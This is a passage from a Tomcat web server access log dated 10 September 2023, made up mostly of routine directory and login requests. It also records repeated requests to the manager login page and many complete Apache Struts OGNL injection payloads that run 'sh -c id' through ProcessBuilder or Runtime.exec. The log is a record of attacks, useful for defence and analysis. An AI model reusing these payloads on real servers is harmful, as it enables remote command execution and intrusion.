-0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 185.254.37.7 - - [10/Sep/2023:15:30:58 -0400] "GET /manager/html HTTP/1.1" 401 2538 127.0.0.1 - - [10/Sep/2023:15:37:26 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:15:39:12 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:15:44:36 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/?C=M;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:15:51:43 -0400] "GET /webapps/docs/tribes/status.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:16:49:16 -0400] "GET /webapps/docs/tribes/transport.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:16:56:26 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:16:56:27 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:16:56:28 -0400] "GET /logs/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:16:56:29 -0400] "GET /logs/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:17:56 -0400] "GET /webapps/docs/tribes/developers.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:48:25 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:17:48:25 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:17:48:25 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:48:26 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:48:26 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:48:27 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:17:55:32 -0400] "GET /work/Catalina/localhost/host-manager/org/apache/jsp/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:08:09 -0400] "GET /webapps/docs/tribes/interceptors.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:12:26 -0400] "GET /webapps/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:12:28 -0400] "GET /webapps/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:12:28 -0400] "GET /webapps/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:12:29 -0400] "GET /webapps/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:21:20 -0400] "GET /lib?C=S%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:18:21:22 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:18:21:35 -0400] "GET /work/Catalina/localhost/ROOT/org/apache/jsp/WEB_002dINF/pages/error/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:33:25 -0400] "GET /bin/CopySafe%20Textbook%20Student%20Tutorial.pdf HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:37:15 -0400] "GET /webapps/docs/tribes/membership.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:51:59 -0400] "GET /webapps/docs/tribes/faq.html HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:18:57:54 -0400] "GET /conf/Catalina/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:00:44 -0400] "GET /work/Catalina/localhost/wrapper-interface/?C=M;O=D HTTP/1.1" 200 2145 185.36.81.33 - - [10/Sep/2023:19:01:22 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:19:02:58 -0400] "GET /work/Catalina/localhost/wrapper-interface/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:38:33 -0400] "GET /bin/catalina-tasks.xml HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:48:25 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:19:48:25 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:19:48:25 -0400] "GET /temp/ehcache_auto_created5281633512249678738diskstore/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:48:26 -0400] "GET /temp/ehcache_auto_created5281633512249678738diskstore/js/bootstrap.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:48:27 -0400] "GET /temp/ehcache_auto_created5281633512249678738diskstore/css/bootstrap.min.css HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:19:48:27 -0400] "GET /temp/ehcache_auto_created5281633512249678738diskstore/js/jquery.min.js HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:20:09:49 -0400] "GET /bin/D:/?C=D;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:20:28:12 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:20:28:13 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:20:28:14 -0400] "GET /images/favicon.ico HTTP/1.1" 200 1150 127.0.0.1 - - [10/Sep/2023:20:55:26 -0400] "GET /bin?C=S%3BO%3DA HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:20:55:27 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:21:06:15 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:22:36 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:22:36 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:21:46:57 -0400] "GET /webapps?C=N%3BO%3DD HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:46:58 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:21:49:42 -0400] "GET / HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:14 -0400] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:14 -0400] "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:15 -0400] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:15 -0400] "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:16 -0400] "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:16 -0400] "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:17 -0400] "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:17 -0400] "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:51:18 -0400] "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:54:13 -0400] "GET /work/Catalina/localhost/tomcat.tomcat.5/org/?C=N;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:21:56:25 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:21:56:25 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:21:56:25 -0400] "GET /work/Catalina/localhost/sample-test/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:03:27 -0400] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:27 -0400] "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:28 -0400] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:28 -0400] "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:29 -0400] "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:29 -0400] "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:30 -0400] "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:30 -0400] "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:03:31 -0400] "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:14:42 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:14:42 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:22:34:45 -0400] "GET /webapps/docs/home HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:35:48 -0400] "GET /temp/ehcache_auto_created1571028551841706822diskstore/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:35:52 -0400] "GET /temp/ehcache_auto_created5698286340310020056diskstore/ HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:43:11 -0400] "GET /work/Catalina/localhost/pdf-manager/org/apache/jsp/WEB_002dINF/pages/?C=N;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:48:12 -0400] "GET /bin/catalina.bat HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:51:34 -0400] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/?C=S;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:22:58:41 -0400] "GET /index.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:42 -0400] "GET /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:42 -0400] "GET /index.action?redirect%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:43 -0400] "GET /index.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:43 -0400] "GET /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:44 -0400] "GET /index.action?action%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:44 -0400] "GET /index.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:45 -0400] "GET /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()} HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:22:58:45 -0400] "GET /index.action?redirectAction%3A%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23%5FmemberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23%5FmemberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22sh%20-c%20id%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B5000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()%7D HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:23:00:16 -0400] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/?C=D;O=A HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:23:03:03 -0400] "GET /robots.txt HTTP/1.1" 302 - 127.0.0.1 - - [10/Sep/2023:23:03:03 -0400] "GET /login HTTP/1.1" 200 4254 127.0.0.1 - - [10/Sep/2023:23:20:57 -0400] "GET /work/Catalina/cyberschoolelibrary.com/pdf-manager/?C=S;O=D HTTP/1.1" 200 2145 127.0.0.1 - - [10/Sep/2023:23:23:15 -0400] "GET /work/Catalina/cyberschoolelibrary.com/host-manager/org/?C=M;O=A HTTP/1.1" 200 2145